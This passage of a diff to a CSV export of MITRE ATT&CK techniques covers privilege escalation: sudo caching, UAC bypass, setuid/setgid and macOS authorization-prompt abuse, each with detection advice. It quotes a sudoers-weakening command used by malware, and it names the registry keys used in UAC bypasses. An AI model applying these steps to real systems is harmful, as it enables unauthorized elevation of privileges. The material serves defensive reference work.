multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",,,,,False,,,,"['Windows', 'Office 365', 'SaaS', 'Google Workspace']",,,,1.1 -2020-01-30 14:40:20.187000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550', 'external_id': 'T1550'}, {'source_name': 'NIST Authentication', 'description': 'NIST. (n.d.). Authentication. Retrieved January 30, 2020.', 'url': 'https://csrc.nist.gov/glossary/term/authentication'}, {'source_name': 'NIST MFA', 'description': 'NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.', 'url': 'https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage', 'Application Log: Application Log Content', 'User Account: User Account Authentication', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",False,,"['Windows', 'Office 365', 'SaaS', 'Google Workspace', 'IaaS']",1.2,,,,,,, +attack-pattern,attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:40:20.187Z,2020-03-27T12:04:37.823Z,Elevated Execution with Prompt,"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges. -Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1548/004', external_id='T1548.004'), ExternalReference(source_name='AppleDocs AuthorizationExecuteWithPrivileges', description='Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.', url='https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg'), ExternalReference(source_name=""Death by 1000 installers; it's all broken!"", description=""Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."", url='https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8'), ExternalReference(source_name='Carbon Black Shlayer Feb 2019', description='Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.', url='https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/'), ExternalReference(source_name='OSX Coldroot RAT', description='Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.', url='https://objective-see.com/blog/blog_0x2A.html')]",attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-27 12:04:37.823000+00:00,Elevated Execution with Prompt,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jimmy Astle, @AstleJimmy, Carbon Black', 'Erika Noerenberg, @gutterchurl, Carbon Black']","['Process: OS API Execution', 'Process: Process Creation']",,,,,Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.,,,['root'],,True,,,"['Administrator', 'User']",['macOS'],,,,1.0 -2020-01-30 14:34:44.992000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges. +Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/004', 'external_id': 'T1548.004'}, {'source_name': 'AppleDocs AuthorizationExecuteWithPrivileges', 'description': 'Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.', 'url': 'https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg'}, {'source_name': ""Death by 1000 installers; it's all broken!"", 'description': ""Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."", 'url': 'https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8'}, {'source_name': 'Carbon Black Shlayer Feb 2019', 'description': 'Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.', 'url': 'https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/'}, {'source_name': 'OSX Coldroot RAT', 'description': 'Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.', 'url': 'https://objective-see.com/blog/blog_0x2A.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jimmy Astle, @AstleJimmy, Carbon Black', 'Erika Noerenberg, @gutterchurl, Carbon Black']","['Process: OS API Execution', 'Process: Process Creation']",,Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.,True,"['Administrator', 'User']",['macOS'],1.0,,,,['root'],,, +attack-pattern,attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:34:44.992Z,2020-03-27T01:03:26.306Z,Sudo and Sudo Caching,"Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges. Within Linux and MacOS systems, sudo (sometimes referred to as ""superuser do"") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command ""allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.""(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). @@ -1895,8 +2107,8 @@ The sudoers file, /etc/sudoers, describes which users can run which Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user. -In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1548/003', external_id='T1548.003'), ExternalReference(source_name='sudo man page 2018', description='Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.', url='https://www.sudo.ws/'), ExternalReference(source_name='OSX.Dok Malware', description='Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', url='https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'), ExternalReference(source_name='cybereason osx proton', description='Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.', url='https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does')]",attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-27 01:03:26.306000+00:00,Sudo and Sudo Caching,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Metadata', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification']",,,,,"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.",,,['root'],,True,,,['User'],"['Linux', 'macOS']",,,,1.0 -2020-01-30 14:24:34.977000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) +In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/003', 'external_id': 'T1548.003'}, {'source_name': 'sudo man page 2018', 'description': 'Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.', 'url': 'https://www.sudo.ws/'}, {'source_name': 'OSX.Dok Malware', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'}, {'source_name': 'cybereason osx proton', 'description': 'Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.', 'url': 'https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Metadata', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification']",,"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.",True,['User'],"['Linux', 'macOS']",1.0,,,,['root'],,, +attack-pattern,attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:24:34.977Z,2020-07-22T21:36:52.458Z,Bypass User Account Control,"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows) @@ -1904,7 +2116,7 @@ Many methods have been discovered to bypass UAC. The Github readme page for UACM * eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit) -Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1548/002', external_id='T1548.002'), ExternalReference(source_name='TechNet How UAC Works', description='Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works'), ExternalReference(source_name='TechNet Inside UAC', description='Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.', url='https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx'), ExternalReference(source_name='MSDN COM Elevation', description='Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.', url='https://msdn.microsoft.com/en-us/library/ms679687.aspx'), ExternalReference(source_name='Davidson Windows', description='Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.', url='http://www.pretentiousname.com/misc/win7_uac_whitelist2.html'), ExternalReference(source_name='Github UACMe', description='UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.', url='https://github.com/hfiref0x/UACME'), ExternalReference(source_name='enigma0x3 Fileless UAC Bypass', description='Nelson, M. (2016, August 15). ""Fileless"" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.', url='https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'), ExternalReference(source_name='Fortinet Fareit', description='Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.', url='https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware'), ExternalReference(source_name='SANS UAC Bypass', description='Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.', url='http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass'), ExternalReference(source_name='enigma0x3 sdclt app paths', description='Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.', url='https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/'), ExternalReference(source_name='enigma0x3 sdclt bypass', description='Nelson, M. (2017, March 17). ""Fileless"" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.', url='https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/')]",attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-07-22 21:36:52.458000+00:00,Bypass User Account Control,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Stefan Kanthak', 'Casey Smith']","['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",['Windows User Account Control'],,,,"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. +Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/002', 'external_id': 'T1548.002'}, {'source_name': 'TechNet How UAC Works', 'description': 'Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works'}, {'source_name': 'TechNet Inside UAC', 'description': 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.', 'url': 'https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx'}, {'source_name': 'MSDN COM Elevation', 'description': 'Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/ms679687.aspx'}, {'source_name': 'Davidson Windows', 'description': 'Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.', 'url': 'http://www.pretentiousname.com/misc/win7_uac_whitelist2.html'}, {'source_name': 'Github UACMe', 'description': 'UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.', 'url': 'https://github.com/hfiref0x/UACME'}, {'source_name': 'enigma0x3 Fileless UAC Bypass', 'description': 'Nelson, M. (2016, August 15). ""Fileless"" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.', 'url': 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'}, {'source_name': 'Fortinet Fareit', 'description': 'Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.', 'url': 'https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware'}, {'source_name': 'SANS UAC Bypass', 'description': 'Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.', 'url': 'http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass'}, {'source_name': 'enigma0x3 sdclt app paths', 'description': 'Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.', 'url': 'https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/'}, {'source_name': 'enigma0x3 sdclt bypass', 'description': 'Nelson, M. (2017, March 17). ""Fileless"" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.', 'url': 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Stefan Kanthak', 'Casey Smith']","['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",['Windows User Account Control'],"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: @@ -1912,23 +2124,23 @@ Some UAC bypass methods rely on modifying specific, user-accessible Registry set * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass) -Analysts should monitor these Registry settings for unauthorized changes.",,,['Administrator'],,True,,,"['Administrator', 'User']",['Windows'],,,,2.0 -2020-01-30 14:11:41.212000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. +Analysts should monitor these Registry settings for unauthorized changes.",True,"['Administrator', 'User']",['Windows'],2.0,,,,['Administrator'],,, +attack-pattern,attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:11:41.212Z,2020-03-27T00:43:58.149Z,Setuid and Setgid,"An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an ""s"" instead of an ""x"" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. -Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1548/001', external_id='T1548.001'), ExternalReference(source_name='setuid man page', description=""Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018."", url='http://man7.org/linux/man-pages/man2/setuid.2.html'), ExternalReference(source_name='OSX Keydnap malware', description='Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', url='https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/')]",attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-27 00:43:58.149000+00:00,Setuid and Setgid,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'File: File Metadata', 'File: File Modification']",,,,,"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",,,,,True,,,['User'],"['Linux', 'macOS']",,,,1.0 -2020-01-30 13:58:14.373000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1548', external_id='T1548')]",attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-07-22 21:36:52.825000+00:00,Abuse Elevation Control Mechanism,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: OS API Execution']",,,,,"Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). +Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/001', 'external_id': 'T1548.001'}, {'source_name': 'setuid man page', 'description': ""Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018."", 'url': 'http://man7.org/linux/man-pages/man2/setuid.2.html'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Metadata', 'File: File Modification']",,"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",True,['User'],"['Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T13:58:14.373Z,2020-07-22T21:36:52.825Z,Abuse Elevation Control Mechanism,Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548', 'external_id': 'T1548'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Metadata', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: OS API Execution']",,"Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. -There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. 